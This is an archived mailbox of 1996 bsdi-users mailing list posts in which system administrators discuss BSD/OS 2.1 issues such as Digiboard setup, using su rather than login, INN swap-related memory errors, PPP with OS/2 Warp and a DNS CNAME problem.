lists.gateway.com (8.8.2/555-1212) id TAA18087 for bsdi-users-outgoing; Thu, 14 Nov 1996 19:13:16 -0500 (EST) Message-Id: <9611150000.AA23992@Sol.> X-Sun-Charset: US-ASCII Precedence: bulk From: dinesh@newsnet.com.au (Dinesh Pullat) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@lists.gateway.com Subject: GateD/BSDi 2.1 Date: Fri, 15 Nov 1996 11:00:00 +1100 Hi all, The GateD that comes with 2.1 is R3_5 Alpha_11 (+ 3.5B1 patches), right? Now, as it is 720K or so... 1. Is is possible to rebuild GateD with only OSPF and RIP support (so as to reduce its size)? 2. Has anyone done this on BSDi 2.0.1 or 2.1? Dinesh Pullat (dinesh@newsnet.com.au)_______________________ Newsnet ITN Ltd. voice: +61 2 9552 4699 (W) 100 Harris Street +61 2 9560 5042 (H) Pyrmont, NSW 2009 fax: +61 2 9552 1132 (W) Australia._________PGP public key available_________________ From VM Fri Nov 15 00:56:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["858" "Thu" "14" "November" "1996" "16:26:22" "-0800" "David A. Lee" "dave@calldei.com" nil "27" "Re: identd Process CPU Utilization" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA17671 for ; Thu, 14 Nov 1996 19:32:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA18109 for bsdi-users-outgoing; Thu, 14 Nov 1996 19:27:15 -0500 (EST) Message-Id: <199611150026.QAA17955@dei.calldei.com> In-Reply-To: <56fs3v$61r@vanbc.wimsey.com> from "John Henders" at Nov 14, 96 11:32:15 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: "David A. Lee" Sender: owner-bsdi-users@lists.gateway.com To: jhenders@wimsey.com (John Henders) Cc: bsdi-users@BSDI.COM Subject: Re: identd Process CPU Utilization Date: Thu, 14 Nov 1996 16:26:22 -0800 (PST) I believe inetd is also used by most WWW servers to translate IP addresses to domains for logging purposes. This is considered a very slow operation, and can usually be turned off. I've heard that it takes 10x longer to do the IP->name translation than it takes to server the web page! -David Lee dave@calldei.com > > In thom@esva.net (Thom Henderson) writes: > > >On 6 Nov 1996, Noel, Richard wrote: > > >> Could anyone suggest where I might look to determine what is causing > >> identd to consume so much CPU time ? > > >I would love to know that too. > > Someone posted a patch to this list a year or so ago that fixed this. > However, I can't find my copy of the patch anywhere. You could try the > list archives. > > > -- > John Henders - System Administrator - Mindlink!/Wimsey > From VM Fri Nov 15 00:56:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["577" "Thu" "14" "November" "1996" "19:44:47" "-0500" "Brian Backer" "bbacker@blink.net" nil "15" "login confusion on bsdi's part :)." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA18488 for ; Thu, 14 Nov 1996 19:58:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA18195 for bsdi-users-outgoing; Thu, 14 Nov 1996 19:54:47 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: login confusion on bsdi's part :). Date: Thu, 14 Nov 1996 19:44:47 -0500 (EST) My bsdi box is confused..... Here is an example of the problem. I am logged in as root. then I use the command 'login' to login to another account. then I exit so I figure I am root again. This is not the case sometimes. Some times I retain the identity of the account that I was logged in as. Thusly, when I type exit again, I am totally out and a login prompt appears. I did this the other day and then sent email to my partner and he called me and told me that it was from a different account. How can this happen. and have any of you had similar problems From VM Fri Nov 15 00:56:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2996" "Thu" "14" "November" "1996" "17:12:19" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "81" "Re: Digiboard Configuration " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA18492 for ; Thu, 14 Nov 1996 19:59:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA18171 for bsdi-users-outgoing; Thu, 14 Nov 1996 19:51:22 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer cc: bsdi-users@BSDI.COM Subject: Re: Digiboard Configuration Date: Thu, 14 Nov 1996 17:12:19 -0800 (PST) Right on. I have finally got it working. Thanks for the reply. The advise is greatly appreciated. It was a problem with a config call I had in the Kernel. Thanks again. Chris On Thu, 14 Nov 1996, Brian Backer wrote: > > I am not sure I am clear here, but it sounds like you are trying to use > both digisetup and rc.hardware. > > Once you make the file in rc.hardware, you dont need any entry to > initialize it. It is done automatically (sort of) no user modifications > are needed to the rc.local > > The Big thing is to get the ports working. When you boot, the kernel has > to recognize it. If it doesn't start again. :) > if it does, then work on rc.hardware all you need to do is copy the file > proto.digi to a file called '5.digi.16.0' Then when you boot, you will > hang for a few seconds on a part when it is configureing all devices that > are in the rc.hardware. your digi will most likely hang for 30 seconds > or so. If that passes the test of configuration, then you should be able > to tip the port. If so then make mods to /etc/ttys and /etc/remote. > > If rc.hardware doesn't set it up, then the kernel isn't recognizing it > most likely. > > > On Thu, 14 Nov 1996, Chris McGlasson wrote: > > > Hello Guys. I am still here and still working on this board. I get the > > follwoing error when the system boots up: > > > > Starting local daemons > > digisetup: open of /dev/ttyA00 said "Device not configured" > > usage: digisetup [-l #] [-a] [-o] /dev/any_tty_on_board > > > > Now I have the following call in my rc.local > > > > /usr/sbin/digisetup -l 16 /dev/ttyA00 > > > > Is the above error stating that the digiboard is not recognized by the > > BSDI program? I am at a total loss here. I have configured the > > rc.hardware, made my entries in the /etc/ttys as needed, and as far as I > > know my rc.local is cofigured correctly. > > > > Are there some patches I might need to get from BSDI? Thanks for the > > help. > > > > Chris McGlasson > > > > > > On Thu, 14 Nov 1996, Bill Warner wrote: > > > > > At 12:22 AM 11/14/96 -0500, Brian Backer wrote: > > > > > > > > > > > >One problem you may wish to correct is that with 2.1 you dont use > > > >digisetup. you use rc.hardware. What else are you trying to do and what > > > >is the problem? > > > > > > Brian, > > > > > > You're right, on 2.1 you really should use the rc.hardware mechanism. > > > Ultimately though, rc.hardware just provides a fancy way to run digisetup. > > > So, as long as your sure that you do things in the right order the result > > > should be the same as running digisetup "by hand" in rc.local. > > > > > > The problem is though, if you don't shuffle things around you may end up > > > with something trying to use the digi before it is setup, which is not a > > > good thing. > > > > > > So Chris, if you are still with us, you might want to switch to using > > > rc.hardware to run digisetup. > > > > > > Bill > > > > > > From VM Fri Nov 15 00:56:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2625" "Thu" "14" "November" "1996" "19:39:23" "-0500" "Brian Backer" "bbacker@blink.net" nil "72" "Re: Digiboard Configuration " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA18496 for ; Thu, 14 Nov 1996 19:59:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA18172 for bsdi-users-outgoing; Thu, 14 Nov 1996 19:51:28 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: bsdi-users@BSDI.COM Subject: Re: Digiboard Configuration Date: Thu, 14 Nov 1996 19:39:23 -0500 (EST) I am not sure I am clear here, but it sounds like you are trying to use both digisetup and rc.hardware. Once you make the file in rc.hardware, you dont need any entry to initialize it. It is done automatically (sort of) no user modifications are needed to the rc.local The Big thing is to get the ports working. When you boot, the kernel has to recognize it. If it doesn't start again. :) if it does, then work on rc.hardware all you need to do is copy the file proto.digi to a file called '5.digi.16.0' Then when you boot, you will hang for a few seconds on a part when it is configureing all devices that are in the rc.hardware. your digi will most likely hang for 30 seconds or so. If that passes the test of configuration, then you should be able to tip the port. If so then make mods to /etc/ttys and /etc/remote. If rc.hardware doesn't set it up, then the kernel isn't recognizing it most likely. On Thu, 14 Nov 1996, Chris McGlasson wrote: > Hello Guys. I am still here and still working on this board. I get the > follwoing error when the system boots up: > > Starting local daemons > digisetup: open of /dev/ttyA00 said "Device not configured" > usage: digisetup [-l #] [-a] [-o] /dev/any_tty_on_board > > Now I have the following call in my rc.local > > /usr/sbin/digisetup -l 16 /dev/ttyA00 > > Is the above error stating that the digiboard is not recognized by the > BSDI program? I am at a total loss here. I have configured the > rc.hardware, made my entries in the /etc/ttys as needed, and as far as I > know my rc.local is cofigured correctly. > > Are there some patches I might need to get from BSDI? Thanks for the > help. > > Chris McGlasson > > > On Thu, 14 Nov 1996, Bill Warner wrote: > > > At 12:22 AM 11/14/96 -0500, Brian Backer wrote: > > > > > > > > >One problem you may wish to correct is that with 2.1 you dont use > > >digisetup. you use rc.hardware. What else are you trying to do and what > > >is the problem? > > > > Brian, > > > > You're right, on 2.1 you really should use the rc.hardware mechanism. > > Ultimately though, rc.hardware just provides a fancy way to run digisetup. > > So, as long as your sure that you do things in the right order the result > > should be the same as running digisetup "by hand" in rc.local. > > > > The problem is though, if you don't shuffle things around you may end up > > with something trying to use the digi before it is setup, which is not a > > good thing. > > > > So Chris, if you are still with us, you might want to switch to using > > rc.hardware to run digisetup. > > > > Bill > > > From VM Fri Nov 15 00:56:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2625" "Thu" "14" "November" "1996" "19:39:23" "-0500" "Brian Backer" "bbacker@blink.net" nil "72" "Re: Digiboard Configuration " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA18500 for ; Thu, 14 Nov 1996 19:59:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA18201 for bsdi-users-outgoing; Thu, 14 Nov 1996 19:55:05 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: bsdi-users@BSDI.COM Subject: Re: Digiboard Configuration Date: Thu, 14 Nov 1996 19:39:23 -0500 (EST) I am not sure I am clear here, but it sounds like you are trying to use both digisetup and rc.hardware. Once you make the file in rc.hardware, you dont need any entry to initialize it. It is done automatically (sort of) no user modifications are needed to the rc.local The Big thing is to get the ports working. When you boot, the kernel has to recognize it. If it doesn't start again. :) if it does, then work on rc.hardware all you need to do is copy the file proto.digi to a file called '5.digi.16.0' Then when you boot, you will hang for a few seconds on a part when it is configureing all devices that are in the rc.hardware. your digi will most likely hang for 30 seconds or so. If that passes the test of configuration, then you should be able to tip the port. If so then make mods to /etc/ttys and /etc/remote. If rc.hardware doesn't set it up, then the kernel isn't recognizing it most likely. On Thu, 14 Nov 1996, Chris McGlasson wrote: > Hello Guys. I am still here and still working on this board. I get the > follwoing error when the system boots up: > > Starting local daemons > digisetup: open of /dev/ttyA00 said "Device not configured" > usage: digisetup [-l #] [-a] [-o] /dev/any_tty_on_board > > Now I have the following call in my rc.local > > /usr/sbin/digisetup -l 16 /dev/ttyA00 > > Is the above error stating that the digiboard is not recognized by the > BSDI program? I am at a total loss here. I have configured the > rc.hardware, made my entries in the /etc/ttys as needed, and as far as I > know my rc.local is cofigured correctly. > > Are there some patches I might need to get from BSDI? Thanks for the > help. > > Chris McGlasson > > > On Thu, 14 Nov 1996, Bill Warner wrote: > > > At 12:22 AM 11/14/96 -0500, Brian Backer wrote: > > > > > > > > >One problem you may wish to correct is that with 2.1 you dont use > > >digisetup. you use rc.hardware. What else are you trying to do and what > > >is the problem? > > > > Brian, > > > > You're right, on 2.1 you really should use the rc.hardware mechanism. > > Ultimately though, rc.hardware just provides a fancy way to run digisetup. > > So, as long as your sure that you do things in the right order the result > > should be the same as running digisetup "by hand" in rc.local. > > > > The problem is though, if you don't shuffle things around you may end up > > with something trying to use the digi before it is setup, which is not a > > good thing. > > > > So Chris, if you are still with us, you might want to switch to using > > rc.hardware to run digisetup. > > > > Bill > > > From VM Fri Nov 15 00:56:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["577" "Thu" "14" "November" "1996" "19:44:47" "-0500" "Brian Backer" "bbacker@blink.net" nil "15" "login confusion on bsdi's part :)." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA18505 for ; Thu, 14 Nov 1996 19:59:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA18207 for bsdi-users-outgoing; Thu, 14 Nov 1996 19:56:06 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: login confusion on bsdi's part :). Date: Thu, 14 Nov 1996 19:44:47 -0500 (EST) My bsdi box is confused..... Here is an example of the problem. I am logged in as root. then I use the command 'login' to login to another account. then I exit so I figure I am root again. This is not the case sometimes. Some times I retain the identity of the account that I was logged in as. Thusly, when I type exit again, I am totally out and a login prompt appears. I did this the other day and then sent email to my partner and he called me and told me that it was from a different account. How can this happen. and have any of you had similar problems From VM Fri Nov 15 00:56:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["497" "Thu" "14" "November" "1996" "19:41:23" "-0500" "Brian Backer" "bbacker@blink.net" nil "24" "Re: Modem Config Program" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA18511 for ; Thu, 14 Nov 1996 20:00:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA18158 for bsdi-users-outgoing; Thu, 14 Nov 1996 19:49:31 -0500 (EST) In-Reply-To: <199611142229.OAA01288@chiba.netxn.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: bsdi-users@BSDI.COM Subject: Re: Modem Config Program Date: Thu, 14 Nov 1996 19:41:23 -0500 (EST) well if you have a windoze 3.x or 95 machine, just plug it in and user hyper terminal or terminal. On Thu, 14 Nov 1996, Chris McGlasson wrote: > > Hello All. I was wondering if anyone might know where I can find a version of > > Kermit to download off the net? > > > > I am not happy with the tip program and am in desperate need of a good program > > to use for configuring my modems. Please let me know of where I might find > > on. Thank you. > > > > Chris McGlasson > > From VM Fri Nov 15 00:56:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1082" "Thu" "14" "November" "1996" "21:15" "EST" "John R. Levine" "johnl@iecc.com" nil "24" "Re: login confusion on bsdi's part :)." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA20453 for ; Thu, 14 Nov 1996 21:15:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA18383 for bsdi-users-outgoing; Thu, 14 Nov 1996 21:10:46 -0500 (EST) Message-Id: Newsgroups: local.bsdi In-Reply-To: Organization: I.E.C.C., Trumansburg, N.Y. Precedence: bulk From: johnl@iecc.com (John R Levine) Sender: owner-bsdi-users@lists.gateway.com To: bbacker@blink.net Cc: bsdi-users@BSDI.COM Subject: Re: login confusion on bsdi's part :). Date: Thu, 14 Nov 96 21:15 EST >I am logged in as root. then I use the command 'login' to login to >another account. then I exit so I figure I am root again. This is not >the case sometimes. Some times I retain the identity of the account that >I was logged in as. Thusly, when I type exit again, I am totally out and >a login prompt appears. If you want to turn into someone else temporarily, use "su" rather than login. That's what it's for. Some shells treat the login command as a special case and treat it as though you'd typed "exec login", and others don't. That's one reason you're seeing peculiar effects. The other reason is that login doesn't expect to be used to start a subshell, and there's a bunch of stuff that doesn't get cleaned up when you exit from the subshell. Most of us sysadmins log in as ourselves, use su to turn into root when we need to do something dangerous, and either exit from the su shell or suspend it when done. -- John R. Levine, IECC, POB 640 Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com "Space aliens are stealing American jobs." - MIT econ prof From VM Fri Nov 15 00:56:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["337" "Thu" "14" "November" "1996" "21:19" "EST" "John R. Levine" "johnl@iecc.com" nil "9" "Re: Expect" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA20458 for ; Thu, 14 Nov 1996 21:16:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA18389 for bsdi-users-outgoing; Thu, 14 Nov 1996 21:12:42 -0500 (EST) Message-Id: Newsgroups: comp.unix.bsd.bsdi.misc In-Reply-To: <328A3E7B.4E2@arlut.utexas.edu> References: <01bbd1a0$b8e7eb80$d16ffea5@mel.vrtx.com> Organization: I.E.C.C., Trumansburg, N.Y. Precedence: bulk From: johnl@iecc.com (John R Levine) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Expect Date: Thu, 14 Nov 96 21:19 EST >> I have been hearing about a package called Expect. Can anyone tell me >> where I can possibly download this software for the BSDI 2.1 platform? Try "apropos expect". It's part of 2.1. -- John R. Levine, IECC, POB 640 Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com "Space aliens are stealing American jobs." - MIT econ prof From VM Fri Nov 15 00:56:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["682" "Thu" "14" "November" "1996" "23:12:47" "-0600" "Brian Young" "byoung@oru.edu" nil "23" "Re: Expect" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA25368 for ; Fri, 15 Nov 1996 00:21:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA18680 for bsdi-users-outgoing; Fri, 15 Nov 1996 00:13:44 -0500 (EST) Message-Id: <199611150512.XAA21523@lib.oru.edu> X-Sender: byoung@oru.edu X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Brian Young Sender: owner-bsdi-users@lists.gateway.com To: johnl@iecc.com (John R Levine) Cc: bsdi-users@BSDI.COM Subject: Re: Expect Date: Thu, 14 Nov 1996 23:12:47 -0600 (CST) I take it that it is *not* a part of 2.0 since an 'apropos expect' turned up nothing for me. At 09:19 PM 11/14/96 EST, you wrote: >>> I have been hearing about a package called Expect. Can anyone tell me >>> where I can possibly download this software for the BSDI 2.1 platform? > >Try "apropos expect". It's part of 2.1. > >-- >John R. Levine, IECC, POB 640 Trumansburg NY 14886 +1 607 387 6869 >johnl@iecc.com "Space aliens are stealing American jobs." - MIT econ prof > > byoung@oru.edu The path of least resistance is Brian Young what makes both rivers and men Internet Systems Administrator crooked. Oral Roberts University -Thomas Jefferson From VM Fri Nov 15 00:56:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2694" "Thu" "14" "November" "1996" "23:06:59" "-0500" "Joe Hohertz" "jhohertz@golden.net" nil "66" "RE: INN 1.4unoff4 and BSDI 2.1 Question" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA25373 for ; Fri, 15 Nov 1996 00:21:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA18695 for bsdi-users-outgoing; Fri, 15 Nov 1996 00:16:41 -0500 (EST) Message-ID: X-Mailer: XFMail 0.5-alpha [p0] on Linux Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199611141758.MAA11143@brickell.bridge.net> Organization: Golden Triangle On-Line Precedence: bulk From: Joe Hohertz Sender: owner-bsdi-users@lists.gateway.com To: arodriguez@bridge.net Cc: bsdi-users@BSDI.COM Subject: RE: INN 1.4unoff4 and BSDI 2.1 Question Date: Thu, 14 Nov 1996 23:06:59 -0500 (EST) I had a similar problem when I first set mine up. Very similar config too. I had only 128MB swap. Boosted it up to 512MB, and it's been fine ever sinc e. (256MB probably would have don the trick, but I hope to be getting more RAM for our beast soon, so I took that into consideration when resizing the swap.) On 14-Nov-96 arodriguez@bridge.net wrote: >>I have recently set up a new news server. It is on a P-133 with 128mb of >ram, I am using BSDI 2.1 and INN 1.4unoff4. My problem is I seem to be >having memory errors, I will post the log below. Anyone have any idea >whats >up? > >Nov 12 10:55:47 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd >Cannot allocate memory >Nov 12 10:55:54 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd >Cannot allocate memory >Nov 12 10:55:56 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd >Cannot allocate memory >Nov 12 10:56:17 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd >Cannot allocate memory >Nov 12 10:56:19 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd >Cannot allocate memory >Nov 12 10:56:20 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd >Cannot allocate memory >Nov 12 10:56:23 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd >Cannot allocate memory >Nov 12 10:56:24 skyway innd: ME cant >fork/usr/contrib/lib/news/bin/control/newgroup Cannot allocate memory >Nov 12 10:56:24 skyway innd: ME cant spawn >/usr/contrib/lib/news/bin/control/newgroup for control/newgroup/17612 >Cannot >allocate memory >Nov 12 10:56:30 skyway innd: ME cant fork /usr/contrib/lib/news/in.nnrpd >Cannot allocate memory > >Any help will be apreciated. > >Thank You, >Alex Rodriguez >BridgeNet, LC > > \\\\ > (@ @) > +________________ooOo_(-)_oOoo________________________________+ > | Alejandro Rodriguez \\\\ BridgeNet, LC | > | arodriguez@bridge.net 100 South Biscayne Blvd. | > | Suite 1315 | > | Miami, Florida 33131 | > | 305.374.3031 | > | http://www.bridge.net | > +_____________________________________________________________+ > >"They that give up essential liberty to obtain a little temporary safety > deserve neither liberty nor safety." > Benjamin Franklin 1759 ---------------------------------- E-Mail: Joe Hohertz Date: 11/14/96 Time: 23:06:59 This message was sent by XF-Mail ---------------------------------- From VM Fri Nov 15 00:56:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["238" "Thu" "14" "November" "1996" "22:16:57" "-0700" "Jim Hribnak" "hribnak@nucleus.com" nil "15" "Python 1.4" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA25914 for ; Fri, 15 Nov 1996 00:40:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA18724 for bsdi-users-outgoing; Fri, 15 Nov 1996 00:40:36 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jim Hribnak Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Python 1.4 Date: Thu, 14 Nov 1996 22:16:57 -0700 (MST) Has anyone gotten this to compile on a 2.1 box? I am having difficulties with it... I need to get it up and active as I have some applications written in python that work in conjunctio with our new Ascend MAX 4004 Thanks jim From VM Fri Nov 15 22:45:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["873" "Thu" "14" "November" "1996" "22:41:03" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "21" "Re: login confusion on bsdi's part :)." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA26760 for ; Fri, 15 Nov 1996 01:17:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA18747 for bsdi-users-outgoing; Fri, 15 Nov 1996 01:13:45 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer cc: bsdi-users@BSDI.COM Subject: Re: login confusion on bsdi's part :). Date: Thu, 14 Nov 1996 22:41:03 -0500 (EST) > I am logged in as root. then I use the command 'login' to login to > another account... Running login as a command has never worked very well, and in fact BSDI is doing people a disservice by continuing to place it in /usr/bin. Too many of the things it does do not work right when one login's effects are piled atop another's, and cannot be undone just by exiting. To become another user for permission purposes, use "su". To do a real "nested login", do "telnet localhost". Never, never run "login" as a command. For bonus points, move the program from /usr/bin to /usr/libexec and revise gettytab and telnetd to find it there. (Alas, fixing telnetd requires sources. Boo hiss -- it should use gettytab.) Henry Spencer henry@zoo.toronto.edu From VM Fri Nov 15 22:45:49 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["749" "Fri" "15" "November" "1996" "00:30:21" "-0800" "Tony Wagner" "tonyw@bytes.net" nil "23" "Re: Warp 4 PPP -> BSD/OS PPP" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id DAA02529 for ; Fri, 15 Nov 1996 03:40:26 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id DAA20562 for bsdi-users-outgoing; Fri, 15 Nov 1996 03:36:24 -0500 (EST) X-Sender: tonyw@jaguar.datacomm.com In-Reply-To: <199611150622.WAA11168@infomatch.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tony Wagner Sender: owner-bsdi-users@lists.gateway.com To: John Chapman cc: bsdi-users@BSDI.COM Subject: Re: Warp 4 PPP -> BSD/OS PPP Date: Fri, 15 Nov 1996 00:30:21 -0800 (PST) On Thu, 14 Nov 1996, John Chapman wrote: > > We have a number of users running IBM Warp 4, and they are all having > problems with PPP. Either the connection will not negotiate or it will drop > during a session. > > Wondering if anyone else has noticed this. It works great here just be SURE the scripts field in the pppsetup is blank NOTHING in it it comes with or something like that just erase that and it should work fine.. Tony Wagner ------------------------------------------------------------------------------ tonyw@datacomm.com [home network] tonyw@Bytes.net [work network] [Home] 503-224-6900 , [Office] 503-224-2169, [Fax] 503-253-7212 ----------------------------------------------------------------------------- From VM Fri Nov 15 22:45:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["629" "Thu" "14" "November" "1996" "22:07:10" "-0500" "Roch Pageau" "rpageau@inexpress.net" nil "24" "dns problem" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id EAA04143 for ; Fri, 15 Nov 1996 04:46:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id EAA20656 for bsdi-users-outgoing; Fri, 15 Nov 1996 04:40:40 -0500 (EST) Message-Id: <1.5.4.32.19961115030710.008c1c20@204.101.127.2> X-Sender: rpageau@204.101.127.2 X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Roch Pageau Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: dns problem Date: Thu, 14 Nov 1996 22:07:10 -0500 I added squid on my site and want users to add proxy.inexpress.net for them to reach the server. I added the line following line to my domain.db file: proxy IN CNAME vector.inexpress.net. 50 % of people have no problem and it works fine but the other 50 % get the: Netscape is unable to reach the server: server does not have a dns entry error. Everything on there end is configure the same and there is no pattern to the problem customers. ie different version of Netscape and both win95 and tcpman So I think the problem is at my end but I cannot find it. Any ideas appreciated????? Thanks Roch From VM Fri Nov 15 22:45:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["514" "Thu" "14" "November" "1996" "22:22:16" "-0800" "John Chapman" "john@infomatch.com" nil "15" "Warp 4 PPP -> BSD/OS PPP" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id FAA05758 for ; Fri, 15 Nov 1996 05:44:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA18786 for bsdi-users-outgoing; Fri, 15 Nov 1996 01:27:53 -0500 (EST) Message-Id: 